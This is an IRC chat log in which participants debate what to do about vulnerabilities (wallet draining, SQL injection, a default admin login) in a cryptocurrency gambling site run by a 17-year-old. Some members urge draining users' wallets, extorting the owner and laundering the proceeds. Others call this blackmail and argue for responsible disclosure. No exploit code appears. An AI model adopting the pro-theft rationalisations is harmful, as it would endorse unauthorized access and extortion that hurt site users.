[2015-03-28T17:40:32-0400] <+awe> As far as I know, there's been no legal actions centered around cryptocurrency theft.
[2015-03-28T17:41:05-0400] <+awe> As far as the government is concerned, that's no different from hacking MapleStory to make lots of mesos.
[2015-03-28T17:41:30-0400] <+awe> And I know at least a few people who have made tens of thousands of dollars doing that without getting any attention.
[2015-03-28T17:41:33-0400] <z3t> Pretty sure hosting a cryptocurrency gambling site in the US is illegal so...
[2015-03-28T17:41:39-0400] <+awe> That too.
[2015-03-28T17:41:50-0400] <+awe> It's not necessary illegal, but it's also not necessarily legal.
[2015-03-28T17:41:55-0400] <+awe> It'd be hard for them to take legal action at all.
[2015-03-28T17:42:31-0400] <+awe> I'd have a hard time turning down $10,000.
[2015-03-28T17:44:33-0400] <z3t> If I do take it, I then have to deal with making it untraceable....
[2015-03-28T17:53:20-0400] <+awe> Yeah, that's true.
[2015-03-28T17:54:15-0400] <z3t> I guess I could deposit everything into the pdgn donation wallet and make it your problem
[2015-03-28T17:55:54-0400] <+awe> LOL.
[2015-03-28T17:56:13-0400] <+awe> You could use bitcoin tumblrs?
[2015-03-28T17:56:18-0400] <+awe> tumblers*
[2015-03-28T17:57:10-0400] <+awe> If you did dump everything, I could either deny having anything to do with it, or just blame you instead.
[2015-03-28T17:57:26-0400] <z3t> rude
[2015-03-28T17:58:31-0400] <+awe> But I wouldn't be upset if pdgn got some kickback after your theft. ;)
[2015-03-28T18:32:23-0400] <alokpathy> HM
[2015-03-28T18:32:30-0400] <alokpathy> hardmath123: has not been active lately
[2015-03-28T18:32:31-0400] <alokpathy> hardmath123: hiya
[2015-03-28T18:38:15-0400] <+awe> Suppose 26 athletes (Alice, Bob, Charlie, Derek, ... , Zak) run a race and each ordering of the athletes is equally likely. What's the probability that Alice finishes before Bob and Bob finishes before Charlie.
[2015-03-28T18:38:19-0400] <+awe> alokpathy: halp me with math
[2015-03-28T18:42:14-0400] <+awe> Figured that one out.
[2015-03-28T18:42:17-0400] <+awe> Suppose X is a non-negative random variable and the E[X]=5. Suppose that the maximum value that X can take is 7. Which of the following statements can you conclude from this information.
[2015-03-28T18:42:17-0400] <+awe> Select one:
[2015-03-28T18:42:17-0400] <+awe> a. P(X≤4) ≤ 2/3
[2015-03-28T18:42:17-0400] <+awe> b. P(X≥6) ≤ 5/7
[2015-03-28T18:42:17-0400] <+awe> c. X in a geometric random variable.
[2015-03-28T18:42:17-0400] <+awe> d. X in a binomial random variable.
[2015-03-28T18:42:17-0400] <+awe> e. P(X=5) > 0
[2015-03-28T18:42:20-0400] <+awe> Just need to figure this one out now.
[2015-03-28T18:43:43-0400] <+awe> Hm, it's probably A actually.
[2015-03-28T18:44:36-0400] <+awe> Y = 7 - X, E[Y] = 2, X <= 4 -> Y >= 3, P(Y >= 3) <= 2/3
[2015-03-28T18:44:36-0400] <+awe> yeah.
[2015-03-28T18:45:19-0400] <+awe> I do so much better on these quiz questions when I paste them in IRC, and then try to work them out as compared to when I try to work them out in my head.
[2015-03-28T18:45:21-0400] <LittleBobbyTables> z3t: what do you need?
[2015-03-28T18:45:50-0400] <LittleBobbyTables> No, it's not illegal.
[2015-03-28T18:45:52-0400] <LittleBobbyTables> Yes, I'll do it.
[2015-03-28T18:46:10-0400] <+awe> LittleBobbyTables: I love you. <3
[2015-03-28T18:46:17-0400] <+awe> That was just a perfect reaction.
[2015-03-28T18:47:03-0400] <LittleBobbyTables> ^_^
[2015-03-28T18:48:31-0400] <z3t> They're using an open-source cryptocurrency gambling site template, so there's most likely a bunch of sites vuln to the same thing...
[2015-03-28T18:49:03-0400] <LittleBobbyTables> Well PM me if you don't want to mention it here.
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[2015-03-28T18:49:25-0400] <LittleBobbyTables> I can either sell it to someone, or just take a couple.
[2015-03-28T18:49:30-0400] <LittleBobbyTables> I need some money anyway.
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[2015-03-28T18:52:21-0400] <+awe> Just a friendly reminder to whomever it may concern that there's a donation address in the topic for this network.
[2015-03-28T18:53:46-0400] <fwilson> sdamashek: jwoglom: etc http://doodle.com/w4wxacy43ke4kw27
[2015-03-28T18:53:57-0400] <fwilson> and anyone else ^ tech support scam trolling scheduling
[2015-03-28T18:54:32-0400] <LittleBobbyTables> fwilson: do you want some scambait emails?
[2015-03-28T18:54:34-0400] <LittleBobbyTables> I have a couple.
[2015-03-28T18:54:36-0400] <fwilson> LittleBobbyTables: no
[2015-03-28T18:54:41-0400] <fwilson> not that kind :)
[2015-03-28T18:54:48-0400] <fwilson> did you see the youtube playlist i posted last night in here
[2015-03-28T18:54:53-0400] <+awe> Why is this a thing you're doing, fwilson?
[2015-03-28T18:54:59-0400] <LittleBobbyTables> Nope
[2015-03-28T18:55:47-0400] <LittleBobbyTables> 6 years behind.
[2015-03-28T18:56:20-0400] <fwilson> awe: because it's fun, and also it's interesting to see tactics used by scams
[2015-03-28T18:56:44-0400] <fwilson> LittleBobbyTables: https://www.youtube.com/playlist?list=PL6RQ9wI86evSB9Y99aSthAFBx4K5IQRLE
[2015-03-28T18:57:08-0400] <LittleBobbyTables> z3t: don't tempt me with this and then just go afk :(
[2015-03-28T18:57:43-0400] <z3t> oh wow they have $1 million USD in reserves!
[2015-03-28T18:57:44-0400] <z3t> /afk
[2015-03-28T18:57:51-0400] <fwilson> z3t: nice.
[2015-03-28T18:58:03-0400] <fwilson> z3t: what you should do is disclose it to the affected sites
[2015-03-28T18:58:05-0400] <fwilson> and to the author
[2015-03-28T18:58:07-0400] <LittleBobbyTables> lel
[2015-03-28T18:58:07-0400] <fwilson> privately
[2015-03-28T18:58:09-0400] <+awe> fwilson: No. Stop that.
[2015-03-28T18:58:11-0400] <fwilson> awe: what
[2015-03-28T18:58:17-0400] <+awe> Stop telling him to help out thieves.
[2015-03-28T18:58:17-0400] <fwilson> that's the responsible and ethical thing to do
[2015-03-28T18:58:28-0400] <+awe> They're in the business of stealing from people. .-.
[2015-03-28T18:58:29-0400] <fwilson> that's how you handle security vulnerabilities
[2015-03-28T18:58:35-0400] <LittleBobbyTables> Those site's are unethical already. And they won't do anything about it anyway
[2015-03-28T18:58:40-0400] <fwilson> LittleBobbyTables: the author will
[2015-03-28T18:58:45-0400] <LittleBobbyTables> He won't
[2015-03-28T18:58:52-0400] <fwilson> how do you know that
[2015-03-28T18:58:55-0400] <LittleBobbyTables> If it's the source I think it is, the dude's already gone.
[2015-03-28T18:58:59-0400] <fwilson> oh
[2015-03-28T18:59:02-0400] <fwilson> then ¯\_(ツ)_/¯
[2015-03-28T18:59:18-0400] <+awe> If nothing else, you'll probably kill the site by taking the money.
[2015-03-28T19:00:05-0400] <fwilson> stealing from people who steal from people is still stealing
[2015-03-28T19:00:22-0400] <+awe> Right, but killing a site that steals from people is honorable IMO.
[2015-03-28T19:00:30-0400] <fwilson> but also illegal
[2015-03-28T19:00:33-0400] <+awe> Na.
[2015-03-28T19:00:41-0400] <+awe> There are no laws about that.
[2015-03-28T19:00:43-0400] <LittleBobbyTables> It's not real money.
[2015-03-28T19:00:46-0400] <+awe> ^
[2015-03-28T19:00:48-0400] <fwilson> given that gambling is legal
[2015-03-28T19:00:54-0400] <+awe> Gambling online is illegal.
[2015-03-28T19:00:59-0400] <fwilson> in that case
[2015-03-28T19:01:02-0400] <LittleBobbyTables> US based ones are*
[2015-03-28T19:01:04-0400] <+awe> Well, yeah.
[2015-03-28T19:01:06-0400] <fwilson> oh
[2015-03-28T19:01:07-0400] <LittleBobbyTables> Which this one is
[2015-03-28T19:01:08-0400] <fwilson> it's across borders?
[2015-03-28T19:01:11-0400] <fwilson> oh
[2015-03-28T19:01:13-0400] <fwilson> well
[2015-03-28T19:01:15-0400] <fwilson> go for it ¯\_(ツ)_/¯
[2015-03-28T19:01:21-0400] <+awe> You're gambling for fake money which is a legal grey area.
[2015-03-28T19:01:21-0400] <fwilson> wow did i actually say that
[2015-03-28T19:01:33-0400] <LittleBobbyTables> fwilson: Welcome to the dark side
[2015-03-28T19:01:36-0400] <fwilson> awe: i mean, exploiting the vulnerability is a violation of some interpretations of the CFAA
[2015-03-28T19:01:37-0400] <LittleBobbyTables> We have thin mints
[2015-03-28T19:01:40-0400] <+awe> Of course it is.
[2015-03-28T19:01:40-0400] <fwilson> LittleBobbyTables: wait really?
[2015-03-28T19:01:42-0400] <fwilson> i like this place
[2015-03-28T19:01:46-0400] <LittleBobbyTables> Yeah
[2015-03-28T19:01:49-0400] <LittleBobbyTables> I just bought some
[2015-03-28T19:01:55-0400] <LittleBobbyTables> With money that wasn't mine Kappa
[2015-03-28T19:01:59-0400] <fwilson> awesome
[2015-03-28T19:02:01-0400] <fwilson> let's do this
[2015-03-28T19:02:02-0400] <LittleBobbyTables> (it was my mothers)
[2015-03-28T19:02:04-0400] <LittleBobbyTables> (but shh)
[2015-03-28T19:02:08-0400] <fwilson> ayy lmao
[2015-03-28T19:02:11-0400] <LittleBobbyTables> :P
[2015-03-28T19:02:18-0400] <fwilson> this is pretty cool http://www.ibiblio.org/kuphaldt/socratic/
[2015-03-28T19:02:26-0400] <z3t> Just confirmed owner of site is 17
[2015-03-28T19:02:35-0400] <LittleBobbyTables> That makes me care even less.
[2015-03-28T19:02:39-0400] <fwilson> z3t: wow
[2015-03-28T19:02:44-0400] <LittleBobbyTables> fwilson: tldr
[2015-03-28T19:03:07-0400] <LittleBobbyTables> z3t: let me know his screen name/skype
[2015-03-28T19:03:29-0400] <fwilson> so you're doing something potentially illegal to a site that's potentially illegal by someone who it's probably illegal for them to operate the illegalish website
[2015-03-28T19:03:30-0400] <fwilson> cool
[2015-03-28T19:03:32-0400] <fwilson> illegal
[2015-03-28T19:03:34-0400] <fwilson> i mean
[2015-03-28T19:03:36-0400] <fwilson> hi
[2015-03-28T19:03:53-0400] <z3t> uh keeping this stuff private until I decide what I sould do LittleBobbyTables
[2015-03-28T19:04:09-0400] <fwilson> z3t: i seriously recommend disclosing the vulnerability, in all seriousness
[2015-03-28T19:04:24-0400] <+awe> I recommend handing it over to LittleBobbyTables.
[2015-03-28T19:08:23-0400] <jwoglom> fwilson: ok I filled that out
[2015-03-28T19:12:10-0400] <fwilson> 260 deaths
[2015-03-28T19:12:18-0400] <fwilson> i was only 11 away from the achievement
[2015-03-28T19:12:19-0400] <fwilson> darn
[2015-03-28T19:17:14-0400] <LittleBobbyTables> I recommend handing it over to me, as well.
[2015-03-28T19:22:45-0400] <z3t> lol
[2015-03-28T19:24:55-0400] <ubuntor> yes
[2015-03-28T19:25:50-0400] <z3t> oh ffs found a SQLi...
[2015-03-28T19:26:07-0400] <LittleBobbyTables> You're making me really sad.
[2015-03-28T19:27:54-0400] <z3t> it's like the owner hasn't even heard of input sanitization
[2015-03-28T19:28:22-0400] <+awe> You definitely should hand this information over to LittleBobbyTables.
[2015-03-28T19:29:18-0400] <LittleBobbyTables> It's SQLi, and my name is LittleBobbyTables, how can you NOT give me this information
[2015-03-28T19:29:49-0400] <+awe> Well played, good sir.
[2015-03-28T19:31:29-0400] <fwilson> z3t: lol
[2015-03-28T19:41:05-0400] <LittleBobbyTables> z3t: at least give me the site?
[2015-03-28T19:41:14-0400] <z3t> I'm thinking about it.
[2015-03-28T19:41:22-0400] <z3t> And also finding all the sites that use the script
[2015-03-28T20:00:45-0400] <ubuntor> huh, there's a new variation of knapsack that's supposedly fixed old flaws
[2015-03-28T20:00:48-0400] <ubuntor> http://arxiv.org/pdf/1503.04238.pdf
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[2015-03-28T21:10:12-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-28T19:12:19-0400] <fwilson> darn
[2015-03-28T19:17:14-0400] <LittleBobbyTables> I recommend handing it over to me, as well.
[2015-03-28T19:22:45-0400] <z3t> lol
[2015-03-28T19:24:55-0400] <ubuntor> yes
[2015-03-28T19:25:50-0400] <z3t> oh ffs found a SQLi...
[2015-03-28T19:26:07-0400] <LittleBobbyTables> You're making me really sad.
[2015-03-28T19:27:54-0400] <z3t> it's like the owner hasn't even heard of input sanitization
[2015-03-28T19:28:22-0400] <+awe> You definitely should hand this information over to LittleBobbyTables.
[2015-03-28T19:29:18-0400] <LittleBobbyTables> It's SQLi, and my name is LittleBobbyTables, how can you NOT give me this information
[2015-03-28T19:29:49-0400] <+awe> Well played, good sir.
[2015-03-28T19:31:29-0400] <fwilson> z3t: lol
[2015-03-28T19:41:05-0400] <LittleBobbyTables> z3t: at least give me the site?
[2015-03-28T19:41:14-0400] <z3t> I'm thinking about it.
[2015-03-28T19:41:22-0400] <z3t> And also finding all the sites that use the script
[2015-03-28T20:00:45-0400] <ubuntor> huh, there's a new variation of knapsack that's supposedly fixed old flaws
[2015-03-28T20:00:47-0400] <ubuntor> http://arxiv.org/pdf/1503.04238.pdf
[2015-03-28T20:16:50-0400] <fwilson> Includes 1 Steam Achievements
[2015-03-28T20:16:58-0400] <fwilson> 1 Achievements
[2015-03-28T20:17:44-0400] <LittleBobbyTables> z3t: :(
[2015-03-28T20:21:27-0400] <JacobEdelman> wee hackbca is gonna
[2015-03-28T20:24:12-0400] <alokpathy> Oh, right,  you're at that.
[2015-03-28T20:24:15-0400] <alokpathy> JacobEdelman: How is it?
[2015-03-28T20:24:25-0400] <LittleBobbyTables> JacobEdelman: 
[2015-03-28T20:24:28-0400] <LittleBobbyTables> http://divinecourage.dy.fi/
[2015-03-28T20:33:22-0400] <JacobEdelman> its fun
[2015-03-28T20:40:01-0400] <z3t> LittleBobbyTables , awe , fwilson : I've decided I'm going to ask the site owner if he'll give me a reward for it (without disclosing it first of course).
[2015-03-28T20:40:07-0400] <z3t> If he refuses then I'll drain the wallets
[2015-03-28T20:40:20-0400] <fwilson> z3t: are you doing this anonymously
[2015-03-28T20:40:20-0400] <z3t> or have LBT drain them
[2015-03-28T20:40:23-0400] <z3t> yes
[2015-03-28T20:42:32-0400] <fwilson> lol
[2015-03-28T20:42:39-0400] <jwoglom> how significant is this vuln?
[2015-03-28T20:42:50-0400] <jwoglom> 20:42:39  awebot | Hey, baby. Want some fuck?
[2015-03-28T20:43:01-0400] <fwilson> jwoglom: apparently it affects a major template
[2015-03-28T20:43:09-0400] <fwilson> and you can drain the wallets of every user on the site
[2015-03-28T20:43:11-0400] <fwilson> and also there's sqli
[2015-03-28T20:43:29-0400] <jwoglom> ..ouch
[2015-03-28T20:43:33-0400] <jwoglom> that sounds like a wonderful site
[2015-03-28T20:43:39-0400] <fwilson> apparently it's vvery common
[2015-03-28T20:45:11-0400] <z3t> ...and I just discovered that the installation script makes a default admin account with preset credentials, and the site owner didn't delete it.
[2015-03-28T20:45:31-0400] <z3t> this guy is an idiot
[2015-03-28T20:45:32-0400] <fwilson> oh
[2015-03-28T20:45:35-0400] <fwilson> well
[2015-03-28T20:45:43-0400] <fwilson> nice.
[2015-03-28T20:55:18-0400] <ubuntor> ...
[2015-03-28T20:56:10-0400] <LittleBobbyTables> z3t: wrong choice :(
[2015-03-28T20:58:51-0400] <JacobEdelman> alokpathy: awe: i finished the bare essentials of my project 2 hours in
[2015-03-28T20:58:56-0400] <JacobEdelman> now I'm adding features
[2015-03-28T20:59:02-0400] <JacobEdelman> I'm copying code from vearch
[2015-03-28T20:59:07-0400] <JacobEdelman> (its open source, so thats legit)
[2015-03-28T21:10:14-0400] Mode is +nt
[2015-03-28T21:10:37-0400] <+awe> JacobEdelman: what project is this?
[2015-03-28T21:10:54-0400] <JacobEdelman> a file system that automaticly sorts files
[2015-03-28T21:11:05-0400] <JacobEdelman> right now it does it with regexes
[2015-03-28T21:11:10-0400] <JacobEdelman> I'm adding in object recongition
[2015-03-28T21:11:19-0400] <+awe> z3t: oh, come on. Just take him off guard, seize the entire site, replace it with a sign, and take everyone's wallets.
[2015-03-28T21:11:20-0400] <JacobEdelman> so you could make all pictures of cats automaticly go to the cat folder
[2015-03-28T21:12:06-0400] <+awe> JacobEdelman: oh, this is your hackBCA project?
[2015-03-28T21:12:34-0400] <JacobEdelman> Yup
[2015-03-28T21:12:42-0400] <JacobEdelman> I'm soloing
[2015-03-28T21:13:05-0400] <+awe> JacobEdelman: that's uhh... an okay idea, I guess.
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[2015-03-28T21:13:45-0400] <JacobEdelman> ? 
[2015-03-28T21:13:49-0400] <JacobEdelman> Elaborate
[2015-03-28T21:14:11-0400] <JacobEdelman> What features do you think could improve it?
[2015-03-28T21:14:21-0400] <JacobEdelman> I have plenty of time
[2015-03-28T21:15:00-0400] <LittleBobbyTables> guys
[2015-03-28T21:15:04-0400] <LittleBobbyTables> im out of thin mints
[2015-03-28T21:15:18-0400] <LittleBobbyTables> wait, why does pdgn not hostmask on leaves?
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[2015-03-28T21:18:20-0400] <z3t> he's offering me $20 USD, do I take it ( awe , LittleBobbyTables )
[2015-03-28T21:18:25-0400] <+awe> No.
[2015-03-28T21:18:27-0400] <+awe> What the hell?
[2015-03-28T21:18:32-0400] <z3t> idk
[2015-03-28T21:18:45-0400] <+awe> $10,000, z3t.
[2015-03-28T21:18:56-0400] <LittleBobbyTables> no.
[2015-03-28T21:19:00-0400] <LittleBobbyTables> why the hell would you take 20 dollars
[2015-03-28T21:19:13-0400] <alokpathy> $20 for what?
[2015-03-28T21:19:19-0400] <+awe> He can either pay you $10,000 or you take the whole site down and take everyone's money.
[2015-03-28T21:19:46-0400] <LittleBobbyTables> See, that's how you do business.
[2015-03-28T21:19:47-0400] <+awe> alokpathy: Nothing, we're just helping z3t extort a vulnerable cryptocurrency gambling site.
[2015-03-28T21:20:10-0400] <alokpathy> Oh
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[2015-03-28T21:22:31-0400] <LittleBobbyTables> Someone recommended 25% of how much you can make if you were to steal all the money
[2015-03-28T21:25:25-0400] <z3t> I want clean money...
[2015-03-28T21:25:57-0400] <LittleBobbyTables> I can help you make it clean
[2015-03-28T21:26:10-0400] <nickthename> literally stealing money from random other people
[2015-03-28T21:26:10-0400] <ubuntor> how much does he make?
[2015-03-28T21:28:36-0400] <LittleBobbyTables> Think about it this way
[2015-03-28T21:28:42-0400] <LittleBobbyTables> You sell me this vulnerability
[2015-03-28T21:28:57-0400] <LittleBobbyTables> I exploit it it, and make money, and you make clean money for selling me a product.
[2015-03-28T21:31:35-0400] <z3t> it just won't feel right if I do that
[2015-03-28T21:32:27-0400] <LittleBobbyTables> :/
[2015-03-28T21:32:31-0400] <LittleBobbyTables> what if you sell me a legit product
[2015-03-28T21:32:51-0400] <LittleBobbyTables> that i just so happen to pay for with money that just so happened to be from a vulnerability you just so happened to share with me?
[2015-03-28T21:33:03-0400] <z3t> ...
[2015-03-28T21:35:10-0400] <LittleBobbyTables> ...
[2015-03-28T21:36:01-0400] <+awe> z3t: What if you give the vulnerability to me as a fellow security researcher and then I sell it to LittleBobbyTables by my own volition and then happen to purchase you some nice things that you want?
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[2015-03-28T21:37:25-0400] <jwoglom> Asking for 10 grand seems very not white hat
[2015-03-28T21:37:26-0400] <jwoglom> Just saying.
[2015-03-28T21:37:36-0400] <+awe> jwoglom: It's some 17 year old.
[2015-03-28T21:37:41-0400] <+awe> http://sprunge.us/VVMa?hs
[2015-03-28T21:37:44-0400] <+awe> Unrelated, but this is really fast.
[2015-03-28T21:38:14-0400] <+awe> Well, really, you only need http://sprunge.us/IRWL?hs
[2015-03-28T21:44:12-0400] <JacobEdelman> ummm
[2015-03-28T21:44:20-0400] <JacobEdelman> z3t: asking for money is black mail
[2015-03-28T21:44:27-0400] <z3t> yes
[2015-03-28T21:44:28-0400] <JacobEdelman> if he's offering you money, accept
[2015-03-28T21:44:32-0400] <JacobEdelman> but not asking
[2015-03-28T21:44:34-0400] <JacobEdelman> although
[2015-03-28T21:44:40-0400] <JacobEdelman> if he's offering you money to stay quiet
[2015-03-28T21:44:42-0400] <JacobEdelman> thats bribery
[2015-03-28T21:44:47-0400] <JacobEdelman> (which may be legal)
[2015-03-28T21:45:03-0400] <JacobEdelman> (but make sure you know whether hes exepcting you to keep quiet with the money)
[2015-03-28T21:45:12-0400] <JacobEdelman> even better, you could offer to fix it for a reasonable sum
[2015-03-28T21:45:15-0400] <JacobEdelman> that is allowed
[2015-03-28T21:45:36-0400] <+awe> No.
[2015-03-28T21:45:39-0400] <JacobEdelman> yes
[2015-03-28T21:45:40-0400] <+awe> Do not listen to JacobEdelman.
[2015-03-28T21:45:47-0400] <JacobEdelman> awe: seriosly
[2015-03-28T21:45:50-0400] <+awe> Do not undervalue your work.
[2015-03-28T21:45:59-0400] <+awe> Your exploit is worth far more than $20.
[2015-03-28T21:46:01-0400] <JacobEdelman> wait
[2015-03-28T21:46:09-0400] <+awe> He offered him $20.
[2015-03-28T21:46:10-0400] <JacobEdelman> but what is he asking the money for?
[2015-03-28T21:46:16-0400] <+awe> The exploit.
[2015-03-28T21:46:20-0400] <JacobEdelman> why should this guy give z3t the money?
[2015-03-28T21:46:35-0400] <+awe> Because it's an exploit on his service and the alternative is z3t shuts down his whole site and takes all of his user's money.
[2015-03-28T21:46:40-0400] <JacobEdelman> cause he wants to know the exploit? cause z3t will release it otherwise? cause z3t will hax him otherwise?
[2015-03-28T21:46:42-0400] <JacobEdelman> yeah
[2015-03-28T21:46:45-0400] <JacobEdelman> thats blackmail
[2015-03-28T21:46:56-0400] <JacobEdelman> totally illegal
[2015-03-28T21:46:58-0400] <JacobEdelman> and immoral
[2015-03-28T21:47:03-0400] <JacobEdelman> stop being a bad person weiss
[2015-03-28T21:47:05-0400] <+awe> Not true.
[2015-03-28T21:47:08-0400] <JacobEdelman> seriosly
[2015-03-28T21:47:27-0400] <jwoglom> This whole thing seems very sketchy
[2015-03-28T21:47:32-0400] <JacobEdelman> ^
[2015-03-28T21:47:32-0400] <+awe> "In blackmail, which always involves extortion, the extortionist threatens to reveal information about a victim or their family members that is potentially embarrassing, socially damaging, or incriminating unless a demand for money, property, or services is met."
[2015-03-28T21:47:38-0400] <jwoglom> And of varied legality
[2015-03-28T21:47:39-0400] <JacobEdelman> fine
[2015-03-28T21:47:42-0400] <JacobEdelman> threatening then
[2015-03-28T21:47:51-0400] <+awe> Okay, great.
[2015-03-28T21:48:00-0400] <JacobEdelman> its still illegal
[2015-03-28T21:48:05-0400] <JacobEdelman> I guarntee you
[2015-03-28T21:48:08-0400] <JacobEdelman> awe, seriosly
[2015-03-28T21:48:14-0400] <z3t> I feel like just accepting $20, don't want to get fucked :/
[2015-03-28T21:48:15-0400] <JacobEdelman> you're actually scaring me by suggesting this
[2015-03-28T21:48:23-0400] <+awe> Just give it to LBT.
[2015-03-28T21:48:25-0400] <JacobEdelman> z3t: offer to fix it
[2015-03-28T21:48:28-0400] <sdamashek> you should /really/ accept the $20
[2015-03-28T21:48:28-0400] <+awe> We'll give you $40.
[2015-03-28T21:48:43-0400] <JacobEdelman> z3t: offer to fix it for more, or just beg for a bit more...
[2015-03-28T21:48:44-0400] <LittleBobbyTables> I can make more by NOT exploiting it, if that's what you really want.
[2015-03-28T21:48:48-0400] <JacobEdelman> (although beg very nicely)
[2015-03-28T21:48:51-0400] <JacobEdelman> ideally, offer to fix it
[2015-03-28T21:48:55-0400] <sdamashek> you do not want to get in that sort of trouble
[2015-03-28T21:48:56-0400] <jwoglom> Please do the not stupid think
[2015-03-28T21:49:01-0400] <JacobEdelman> ^
[2015-03-28T21:49:02-0400] <JacobEdelman> ^
[2015-03-28T21:49:09-0400] <sdamashek> you're lucky you're even getting money for it
[2015-03-28T21:49:12-0400] <jwoglom> Basically black mailing the owner is NOT the way to go about this
[2015-03-28T21:49:19-0400] <JacobEdelman> the fact that awe is actually encouraging this is scaring me
[2015-03-28T21:49:26-0400] <JacobEdelman> I mean, lbt I half expect to be like this
[2015-03-28T21:49:30-0400] <JacobEdelman> but awe...
[2015-03-28T21:49:48-0400] <+awe> JacobEdelman: $30,000 right now to steal from someone who's stealing from people and is _ACTIVELY BREAKING THE LAW THEMSELVES_.
[2015-03-28T21:49:51-0400] <JacobEdelman> I agree that morally speaking the owner should offer more
[2015-03-28T21:50:02-0400] <JacobEdelman> awe: wait, how is the other guy breaking the law?
[2015-03-28T21:50:05-0400] <+awe> Illegal gambling site.
[2015-03-28T21:50:09-0400] <JacobEdelman> ooooh
[2015-03-28T21:50:10-0400] <sdamashek> awe: even so, that's not how it works
[2015-03-28T21:50:13-0400] <JacobEdelman> that slightly changes things
[2015-03-28T21:50:15-0400] <JacobEdelman> well
[2015-03-28T21:50:26-0400] <+awe> Again, using the exploit will kill the site.
[2015-03-28T21:50:26-0400] <JacobEdelman> it means legally z3t won't be in trouble for haxing
[2015-03-28T21:50:40-0400] <JacobEdelman> and morally he would also be in a much better position
[2015-03-28T21:50:52-0400] <JacobEdelman> although frankly, going after big gambling sites seems unethical
[2015-03-28T21:51:01-0400] <+awe> Being a big gambling site is also unethical.
[2015-03-28T21:51:02-0400] <JacobEdelman> you could hand the exploit over to someone who could use it
[2015-03-28T21:51:09-0400] <+awe> Yeah, like LittleBobbyTables.
[2015-03-28T21:51:11-0400] <JacobEdelman> awe: i see where you are coming from now
[2015-03-28T21:51:13-0400] <JacobEdelman> hmm
[2015-03-28T21:51:32-0400] <z3t> If I exploit or blackmail, I'll probably just end up donating all of it to some charity, too immoral for me to keep it...
[2015-03-28T21:51:32-0400] <+awe> I think the logical thing to do is to make a lot of money and kill the site in the process.
[2015-03-28T21:51:32-0400] <sdamashek> JacobEdelman: no, just because you're hacking something illegal does not mean that it's not illegal
[2015-03-28T21:51:47-0400] <+awe> sdamashek: It does mean that nobody is going to press charges.
[2015-03-28T21:51:49-0400] <JacobEdelman> sdamashek: ehhh... maybe, I'm not really sure
[2015-03-28T21:52:02-0400] <JacobEdelman> sdamashek: I have a feeling that the site would never bring it to court
[2015-03-28T21:52:02-0400] <+awe> sdamashek: Nobody is going to come looking for you over hacking some illegal gambling site.
[2015-03-28T21:52:09-0400] <sdamashek> the CFAA does not say anything about that
[2015-03-28T21:52:14-0400] <JacobEdelman> and ethically it might be right to shut the site down
[2015-03-28T21:52:22-0400] <JacobEdelman> awe: well
[2015-03-28T21:52:24-0400] <jwoglom> robbing a guy who has stolen money is still illegal
[2015-03-28T21:52:31-0400] <JacobEdelman> awe: what if the people who made the site did it?
[2015-03-28T21:52:32-0400] <sdamashek> awe: maybe, maybe not
[2015-03-28T21:52:34-0400] <+awe> Yes, yes, it's still illegal.
[2015-03-28T21:52:37-0400] <+awe> I'm not disputing that.
[2015-03-28T21:52:39-0400] <JacobEdelman> awe: (came after you)
[2015-03-28T21:52:42-0400] <+awe> It's not unethical though.
[2015-03-28T21:52:45-0400] <sdamashek> if you ever want to get a security clearance, you're gonna have a bad time
[2015-03-28T21:52:57-0400] <+awe> JacobEdelman: It's a 17 year old who's exploiting some people online for easy cash.
[2015-03-28T21:53:04-0400] <jwoglom> it is still unethical.
[2015-03-28T21:53:06-0400] <jwoglom> period.
[2015-03-28T21:53:09-0400] <jwoglom> doesn't matter the motive, awe.
[2015-03-28T21:53:11-0400] <+awe> jwoglom: That depends on your system of ethics.
[2015-03-28T21:53:30-0400] <+awe> I don't think there's anything wrong with shutting down his site.
[2015-03-28T21:53:43-0400] <nickthename> jwoglom: don't even bother dude
[2015-03-28T21:53:44-0400] <+awe> And the only way to do that is to make sure none of his users trust him.
[2015-03-28T21:53:48-0400] <jwoglom> awe: it's still unauthorized access to a system.
[2015-03-28T21:53:56-0400] <+awe> Okay?
[2015-03-28T21:54:00-0400] <+awe> And...?
[2015-03-28T21:54:01-0400] <jwoglom> and, yeah, i give up on trying to convince you guys of this.
[2015-03-28T21:54:07-0400] <+awe> You're trying to argue law as ethics.
[2015-03-28T21:54:14-0400] <+awe> I never said it wasn't illegal.
[2015-03-28T21:54:26-0400] <+awe> It still violates the CFAA (as does most computer usage)
[2015-03-28T21:54:37-0400] <nickthename> B L A C K H A T B O Y S
[2015-03-28T21:55:09-0400] <JacobEdelman> awe: one worry would be that the site could get back at you in a physical manner
[2015-03-28T21:55:16-0400] <JacobEdelman> or even in a cyber manner
[2015-03-28T21:55:19-0400] <+awe> It's a 17 year old, and LittleBobbyTables knows how to cover his tracks.
[2015-03-28T21:55:23-0400] <JacobEdelman> they may be connected with more powerful entities
[2015-03-28T21:55:30-0400] <JacobEdelman> well, z3t already contacted them
[2015-03-28T21:55:32-0400] <JacobEdelman> and he doesn't
[2015-03-28T21:55:38-0400] <JacobEdelman> I'm still with jwoglom on this
[2015-03-28T21:55:51-0400] <JacobEdelman> although its more grey area if the site is illegal, its still better not too 
[2015-03-28T21:56:02-0400] <JacobEdelman> you know what we should do
[2015-03-28T21:56:06-0400] <JacobEdelman> post to hackernews
[2015-03-28T21:56:08-0400] <JacobEdelman> seriosly
[2015-03-28T21:56:15-0400] <+awe> Give the exploit to LittleBobbyTables and then forget this ever happened?
[2015-03-28T21:56:16-0400] <JacobEdelman> not the vulnerability
[2015-03-28T21:56:27-0400] <JacobEdelman> post to hacker news asking what we should do
[2015-03-28T21:56:29-0400] <+awe> I agree. We should give the exploit to LittleBobbyTables and then forget this ever happened.
[2015-03-28T21:56:33-0400] <JacobEdelman> no
[2015-03-28T21:56:35-0400] <JacobEdelman> we shouldn't
[2015-03-28T21:56:38-0400] <jwoglom> then you're aiding in a crime
[2015-03-28T21:56:43-0400] <z3t> how about this, I let them know of one of the vulns, leaving the others that are still fully exploitable - to further discussion here?
[2015-03-28T21:56:43-0400] <jwoglom> (arguably a crime)
[2015-03-28T21:57:07-0400] <JacobEdelman> z3t:  if you want to make a snap decision, thats fine
[2015-03-28T21:57:08-0400] <sdamashek> legally it's definitely not a grey area, it's black and white
[2015-03-28T21:57:13-0400] <sdamashek> you can argue any morals you want
[2015-03-28T21:57:20-0400] <JacobEdelman> sdamashek: really?
[2015-03-28T21:57:22-0400] <JacobEdelman> I'm not sure
[2015-03-28T21:57:31-0400] <sdamashek> JacobEdelman: yes, the CFAA is very clear
